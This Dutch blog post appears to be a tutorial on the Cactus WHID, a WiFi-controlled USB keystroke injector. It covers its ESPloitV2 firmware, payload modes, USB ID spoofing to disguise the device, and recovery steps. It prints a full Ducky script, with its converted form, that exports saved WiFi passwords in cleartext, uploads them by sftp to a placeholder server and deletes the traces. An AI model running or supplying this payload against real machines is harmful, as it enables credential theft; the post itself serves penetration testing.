Cactus WHID – Wireless Keystroke Injection
Cactus WHID – Wireless Keystroke Injection
Op deze blog hebben we al heel wat keystroke injection tools behandeld. De USB Rubber Ducky, de Raspberry Pi Remote Keystroke Injection en de USB Ninja. De tool die we in deze post bespreken is een hybride variant van alle voorgaande tools. We hebben het vandaar over de Cactus WHID.
De Cactus WHID ziet eruit als een “gewone” USB stick:

WHID staat voor “WiFi HID Injector”. De Cactus WHID is feitelijke een USB Rubber Ducky of een BadUSB maar dan gecontroleerd over een WiFi signaal. De Cactus WHID emuleert dus een toetsenbord en muis over het draadloze netwerk. Het apparaat bestaat uit een casing en een USB board met een ATmega32U4 8-bit microcontroller met een 512K/64K Flash. Op de microcontroller bevindt zich een ESP8266 WiFi (ESP-121S 4MB) module.

De bedoeling van de Cactus WHID evenals van alle andere keystroke injection tools is om de veiligheid van het computernetwerk te testen. Hoe zit het met DLP beveiliging? Is het echt onmogelijk om voorbij fysieke veiligheidsmaatregelen te komen? Vaak is het antwoord dat het niet zo moeilijk is. Een interne medewerker is snel overgehaald om een USB stick in zijn computer te stoppen. Verpak de Cactus WHID in een mooie USB gadget en niemand zal twijfelen om de Cactus aan te sluiten:

Maar hoe werkt de Cactus WHID nu precies?
Aansluiten Cactus WHID
Het idee achter de Cactus WHID is simpel.
Zodra we de Cactus WHID in een computer doen zal deze meteen werken omdat de Cactus WHID standaard geleverd wordt met de ESPloitV2 payload (sinds juli 2017). Dit is een enorme verbetering t.o.v. de voorgaande payload “WHID GUI” en je kunt dus meteen aan de slag. ESPloitV2 is speciaal ontwikkeld voor de Cactus WHID en is feitelijk het default OS voor deze WHID tool.
Zodra we de Cactus WHID dus inprikken zal deze herkend worden als “LilyPad USB”.

Wat meteen opvalt is dat er een nieuw WiFi netwerk beschikbaar komt genaamd “Exploit”:

Om te verbinden met het “Exploit” netwerk gebruikten moeten we het wachtwoord “DotAgency” gebruiken. Nu we verbonden zijn kunnen we naar een webportal browsen op IP adres:
http://192.168.1.1 |
Nu komen we op een webportal waar we een aantal zaken kunnen regelen.

We kunnen schakelen tussen verschillende modussen, een payload uploaden, door data browsen en de firmware van ESPloit upgraden. Maar eerst gaan we de Cactus WHID configureren. Om dit te doen moeten we inloggen. De default gebruikersnaam en wachtwoord combinatie van de Cactus WHID is:
Gebruikersnaam: admin
Wachtwoord: hacktheplanet

Nu kunnen onze SSID aanpassen, gebruikersnamen en wachtwoorden wijzigen, een FTP server starten en de ESPortal activeren voor het vergaren van credentials. Ik verander hier mijn SSID zodat deze minder malafide lijkt. Uiteraard is het aan te raden om ook de gebruikersnaam / wachtwoord combinaties aan te passen zodat niemand anders in de administrator omgeving van de Cactus WHID kan komen.
A Word of caution: na het inschakelen van de FTP server was mijn Cactus niet meer bereikbaar en heb ik de recoveryprocedure (zoals verderop in de post beschreven is) uit moeten voeren. Misschien was dit een incident… maar ik vind het wel het vermelden waard.
Vervolgens kun je via “Update Firmware” de huidige status van je firmware controleren en updaten indien nodig.

Maar de echte kracht zit hem in de payloads. Hierin maakt ESPloitV2 onderscheid tussen 4 modussen, namelijk de “Live Payload Mode” waarin het mogelijk is om on-the-fly een ESPloitV2 payload te typen (of kopiëren en plannen) en deze te triggeren. De “Input Mode” is de mode waar we on-the-fly keystrokes naar het doelstation kunnen verzenden. Mocht je het lastig vinden om zelf een payload te schrijven of om een goede payload online te vinden dan kun je ook gebruik maken van de USB Rubber Ducky payloads. De Cactus WHID heeft namelijk een modus genaamd de “Duckuino” mode die het mogelijk maakt om een USB Rubber Ducky script in te voeren en om te zetten naar een ESPloitV2 script welke eveneens meteen uit te voeren is. De 4e mode is de “Choose Payload” optie die je payloads in de vorm van tekstbestanden laat uploaden en uitvoeren.
Laten we eerst eens de payloads uploaden die we in de ESPloitV2 master repository vinden.
Download de payloads en ga naar “Choose Payload”, hier klik je op de “Upload Payload” button en selecteer je de payloads om deze te uploaden. Als dat gedaan is ziet dit er als volgt uit:

Zoals je ziet kunnen we hier de payloads meteen uitvoeren, weer verwijderen of het bestand downloaden. Als er een payload uitvoeren ziet dit er als volgt uit:

Om de Cactus WHID te voorzien van een payload die uitgevoerd wordt als deze in het doelapparaat gestopt wordt moeten we de payload selecteren in de instellingen. Ga naar “Configure ESPloit” en stel onder “Payload Settings” de “Automatic Payload” in. Belangrijk is om ook de “Automatically Deploy Payload Upon Insertion” setting op “Yes” te zetten. Na het opslaan van de instellingen zal de “blink” payload het LEDje laten blinken zodra we de Cactus WHID in een device pluggen.
Om een payload af te vuren die we intypen of kopiëren / plakken kunnen we de “Live Payload Mode” gebruiken. Deze mode geeft ons een codeveld. Door te klikken op de “Run Payload” button zal de ingetypte code uitgevoerd worden.

De “Input Mode” is ideaal om te gebruiken om stap voor stap (toets voor toets) de doelcomputer te besturen. Diverse toetsenbordcommando’s en strings kunnen met 1 druk op de knop gepushed worden.

Om de “Duckuino” mode te testen gaan we een Ducky Script gebruiken. De volgende Ducky Payload is van “Luca Grosshennig”. Dit is een Ducky WiFi Key Grabber.
DELAY 500 GUI r DELAY 300 STRING cmd DELAY 300 CTRL-SHIFT ENTER DELAY 300 LEFTARROW DELAY 100 ENTER DELAY 300 STRING cd C:\ ENTER DELAY 100 STRING md l ENTER DELAY 100 STRING cd l && @netsh wlan export profile key=clear >nul ENTER DELAY 1000 STRING sftp -oPort=22 **SFTPusername**@**SFTPserver** ENTER DELAY 1200 STRING **SFTPpassword** DELAY 70 ENTER DELAY 500 STRING cd wlan ENTER DELAY 50 STRING mput C:\l\*.xml ENTER DELAY 3000 STRING bye ENTER DELAY 200 STRING cd .. ENTER DELAY 50 STRING del "C:\l" ENTER DELAY 50 STRING j ENTER STRING exit ENTER |
Bovenstaande Ducky code wordt door Duckuino vertaald naar:
CustomDelay:500 Press:131+114 CustomDelay:300 Print:cmd CustomDelay:300 Press:128+129+176 CustomDelay:300 Press:216 CustomDelay:100 Press:176 CustomDelay:300 Print:cd C:\\ Press:176 CustomDelay:100 Print:md l Press:176 CustomDelay:100 Print:cd l && @netsh wlan export profile key=clear >nul Press:176 CustomDelay:1000 Print:sftp -oPort=22 **SFTPusername**@**SFTPserver** Press:176 CustomDelay:1200 Print:**SFTPpassword** CustomDelay:70 Press:176 CustomDelay:500 Print:cd wlan Press:176 CustomDelay:50 Print:mput C:\\l\\*.xml Press:176 CustomDelay:3000 Print:bye Press:176 CustomDelay:200 Print:cd .. Press:176 CustomDelay:50 Print:del \"C:\\l\" Press:176 CustomDelay:50 Print:j Press:176 Print:exit Press:176 |
Deze code kunnen we uiteraard ook meteen uitvoeren.

Bovenstaande code geeft ook een goed beeld van de ESPloitV2 code. Wat opvalt is dat de Ducky code een stuk gemakkelijker te interpreteren is. Buttons worden gemapt op basis van code in plaats van op naam. Waar Ducky code “GUI r” voor het oproeppen van een run box (Windows button + R) daar gebruikt ESSploitV2 de combinatie “Press:131+114”. In dit voorbeeld refereert button 131 aan de GUI toets en 114 aan de R toets. Alle decimale ASCII waardes voor normale toetsen zijn o.a. hier te vinden. Alle ASCII waardes voor de modifier keys zijn hier te vinden.
Belangrijk, letters zijn case sensitive, plaats geen onnodige spaties en gebruik geen lege regels in de payloads.
Een klein overzicht:
- Rem: = Comment
- DefaultDelay: = delay in miliseconden
- Press: = Indrukken van een specifieke toets. Toetsen in decimale waarden
- + = Koppelt verschillende waardes (meestal in combinatie met “Press:”. Om 2 toetsen in te drukken gebruik je dus “Press:131+114”.
- Print: = print alle karakters als een string. Hier maak je dus geen gebruik van decimale ASCII codes. Wil je het woordje “Jarno” typen dan is dat “Print:Jarno”.
- MouseClickLEFT/RIGHT/MIDDLE: Klik op de respectievelijke muis button.
- MouseMoveUp/Down/Left/Right: Beweeg de muis in de aangegeven richting. De waarde kan varieren van 1 tot -127.
- BlinkLED: = Laat het LED lampjes in de Cactus WHID het aantal keer knipperen dat aangegeven is. Voor 3x knipperen gebruik je “BlinkLED:3”.
Volgens de documentatie is het enige symbool dat niet werkt het “minder dan” symbool (<). Deze bug is alleen van toepassing op de ingeladen scripts en niet op de “Live Payload Mode”. Deze bug is te omzeilen om i.p.v. het < symbool de HTML code te gebruiken “<”.
VID/PID aanpassen Cactus WHID
Het is ook mogelijk om de VID/PID aan te passen van de Cactus WHID.
VID = Vendor IDentifier
PID = Product IDentifier
Bovenstaande code’s identificeren de producent van het product en het producttype. Door de VID en/of PID te veranderen zal het OS de USB stick herkennen als een ander ander apparaat van een andere vendor. Een aantal VID / PID combinaties zijn hier te vinden.
Om de VID / PID aan te passen moet je de Arduino “boards.txt” file opzoeken in de Arduino Packages. Deze bevind zich vaak in “C:\Program Files (x86)\Arduino\hardware\arduino\avr”.
Plak nu de volgende quote onderaan het bestand:
############################################################## CactusWHID.name=Cactus WHID CactusWHID.vid.0=0x1B4F CactusWHID.pid.0=0x9207 CactusWHID.vid.1=0x1B4F CactusWHID.pid.1=0x9208 CactusWHID.upload.tool=avrdude CactusWHID.upload.protocol=avr109 CactusWHID.upload.maximum_size=28672 CactusWHID.upload.maximum_data_size=2560 CactusWHID.upload.speed=57600 CactusWHID.upload.disable_flushing=true CactusWHID.upload.use_1200bps_touch=true CactusWHID.upload.wait_for_upload_port=true CactusWHID.bootloader.tool=avrdude CactusWHID.bootloader.low_fuses=0xff CactusWHID.bootloader.high_fuses=0xd8 CactusWHID.bootloader.extended_fuses=0xce CactusWHID.bootloader.file=caterina-LilyPadUSB/Caterina-LilyPadUSB.hex CactusWHID.bootloader.unlock_bits=0x3F CactusWHID.bootloader.lock_bits=0x2F CactusWHID.build.mcu=atmega32u4 CactusWHID.build.f_cpu=8000000L CactusWHID.build.vid=0x0000 CactusWHID.build.pid=0xFFFF CactusWHID.build.usb_product="Cactus WHID" CactusWHID.build.usb_manufacturer="April Brother" CactusWHID.build.board=AVR_LILYPAD_USB CactusWHID.build.core=arduino CactusWHID.build.variant=leonardo CactusWHID.build.extra_flags={build.usb_flags} |
Van deze comment pas je alleen de volgende regels aan:
CactusWHID.build.vid=0x0000 CactusWHID.build.pid=0xFFFF CactusWHID.build.usb_product="Cactus WHID" CactusWHID.build.usb_manufacturer="April Brother" |
Nu start je de Arduino IDE (opnieuw) op en selecteer “Cactus WHID” (of andere naam als je in je file een andere naam hebt gebruikt) onder “Tools” – “Boards” en upload de “Arduino_32u4_Code” sketch naar de Cactus WHID.
Cactus WHID Beheren met Arduino IDE
Het is mogelijk om direct sketches te uploaden naar de Cactus WHID. Hiermee kunnen we de microcontroller programmeren en beheren. Dit alles kunnen we uitvoeren via de Arduino IDE.
Om je Cactus WHID aan te sturen via de Arduino IDE software is het zaak dat je deze alvast download en installeert. Vervolgens moeten we “ESPTool” downloaden zodat we met de Espressif ESP8266 kunnen praten. Dit doen we via het pip (Python) commando:
pip install pyserial |
Nu openen we de Arduino IDE en gaan we de ESP8266 libraries downloaden. Dit kunnen we doen door een additionele “Board Manager URL” in te voeren en door vervolgens de Board Manager te installeren.
De Board Manager URL voeren we in via “Bestand” – “Voorkeuren” – “Additionale Board Beheer URLs”. Hier voegen we de volgende URL toe:
http://arduino.esp8266.com/stable/package_esp8266com_index.json |

Nu openen we het “Board Beheer” via “Hulpmiddelen” – “Board” – “Board Beheer”. Hier zoeken we naar: “ESP8266” en installeren we de nieuwste versie:

Vervolgens stel je het board in op “Arduino Lilypad USB”

En nu selecteren we bij de poort de juiste COM poort (behorende aan de Arduino Lilypad USB):

De volgende board info moet succesvol opgehaald kunnen worden via “Hulpmiddelen” – “Haal Board Info”.

We hebben nu de juiste verbinding met de Cactus WHID.
Resetten Cactus WHID
Op het moment dat je echt je Cactus niet meer kunt benaderen dan zijn er nog een paar herstelstappen die je kunt ondernemen. De Cactus WHID heeft een LED (die door de casing heen te zien is) maar deze staat standaard uit. Mocht je de LED zien (constant branden of knipperen) dan is dit een goede indicatie dat er iets mis is met de programmacode op de flash. Maar ook als je geen LED ziet kan het nodig zijn om herstelstappen uit te voeren. Deze stappen gaan als volgt.
Start de Arduino IDE en koppel je Cactus WHID zoals we hierboven voorgedaan hebben.
Nu openen we de seriële monitor (CTRL+SHIFT+M) op “38400” baud. We resetten de Cactus WHID door het volgende commando te sturen “ResetDefaultConfig:”

Als alles goed gaat krijg je de melding “Resetting configuration files back to default settings.”. Mocht je de Cactus WHID willen resetten met een open WiFi netwerk (zonder wachtwoord) gebruik dan “ResetDefaultConfig:OpenNetwork”.
Je Cactus is nu gereset naar fabrieksinstellingen.
Mocht je Cactus WHID nog niet reageren dan kan het zijn dat deze “bricked” is. Dat wil zeggen dat het board niet meer te benaderen of te gebruiken is. Het board zorgt namelijk voor alle USB taken en in sommige gevallen vraagt dit veel van het board en als er iets misgaat met die chip, wordt het board bijna onbruikbaar. Dit noemen we “bricked”.
De meest voorkomende reden dat de Cactus WHID bricked wordt is door het uploaden van een sketch terwijl jet board verkeerd ingesteld is.
Gelukkig kunnen we ook een bricked Cactus vaak weer werkend krijgen. Hiervoor hebben we hulp van de boatloader nodig. Deze moeten we gebruiken zodat we weer een sketch (zelfs een lege default sketch is goed) kunnen uploaden terwijl het board type juist is ingesteld. Allereerst moeten we om deze procedure succesvol te laten zijn de seriële poort instellen op de bootloader. Maar die poort is alleen zichtbaar wanneer het board in bootloader-modus staat. Om de poort in deze mode te zetten moet je 2x achter elkaar de reset button “indrukken”. Deze reset button is een zogenaamde HALL sensor welke werkt op een magneet. Op deze te activeren moet je dus een magneet 2x snel (erbij, en weg en weer erbij en weg) bij de reset button houden. Dit kan gewoon door de behuizing heen. Je hoeft hiervoor je Cactus WHID niet uit de behuizing te halen. De gebruikte COM poort is meestal 1 hogere poort dan de default Cactus WHID poort.

De hele procedure is als volgt.
1. Download ESPloitV2 https://github.com/exploitagency/ESPloitV2/archive/master.zip
1. Laad de “ESP8266Programmer” Sketch vanuit bovenstaande repository (ESPloitV2-master\ESPloitV2-master\flashing\esp8266Programmer\) in Arduino IDE.
2. Doe de Cactus WHID in de computer en zorg dat het juiste board en de juiste poort geselecteerd zijn.
3. Upload de ESP8266Programmer sketch naar de Cactus WHID.
3. Voer de reset methode uit met de HALL sensor en zet in de IDE snel de juiste COM poort
4. Druk op “Upload Sketch”
5. Voer nu nogmaals op het juiste moment de reset methode uit. De sketch zal nu via de bootloader geupload worden waardoor je device weer beschikbaar wordt (unbricked is).
Mocht ook deze procedure niet werken dan is het zaak om de microcontroller te flashen via ESP. Dit doe je door de “ESP8266Programmer” te uploaden naar je Cactus WHID en vervolgens (in Windows) de NodeMCU tool te downloaden. Start de tool en stel deze in naar de firmware uit je ESPloitV2 repository (ESPloitV2-master\ESPloitV2-master\source\ESP_Code\ESP_Code.ino.generic.bin). Deze schrijf je weg op het 0x00000 adres.

Vervolgens stel je de tool in met de volgende instellingen:
Baudrate: 115200
Flash Size: 4MByte
Flash Speed: 40MHz
SPI Mode: DOUT

Nu klikken we op de “Flash” button om het flashen te starten.

Tenslotte uploaden we de “ESPloitV2-master\ESPloitV2-master\source\Arduino_32u4_Code\Arduino_32u4_Code.ino” sketch naar de Cactus WHID.
De Cactus WHID firmware is nu hersteld waardoor de Cactus weer operationeel moet zijn.
Conclusie
Via de Arduino IDE is ook andere firmware op de Cactus WHID te plaatsen. Naast de ESPloitV2 kun je ook eens kijken naar de USaBuse, WiFi Ducky en WiDucky firmware voor nog meer functionaliteiten. De WiFi Cactus is in combinatie met ESPloitV2 een zeer veelzijdige WHID Keystroke Injector. Voor nog geen 2 tientjes koop je de Cactus WHID en dat is veel goedkoper dan bijvoorbeeld een USB Rubber Ducky. Daarentegen is de Cactus WHID iets lastiger te programmeren en is het vrij gemakkelijk om de Cactus te “bricken” waardoor je een hele procedure moet ondernemen om hem weer online te krijgen. Al met al een absolute topper die ik altijd in mijn tas heb zitten.
Vond je deze post leuk, geef dan een leuke reactie, like en deel deze post (of mijn website) op je sociale media of eigen website. Het maken van dit soort posts kost veel tijd en leuke (re)acties zorgen ervoor dat ik met veel plezier blijf schrijven. Heel erg bedankt!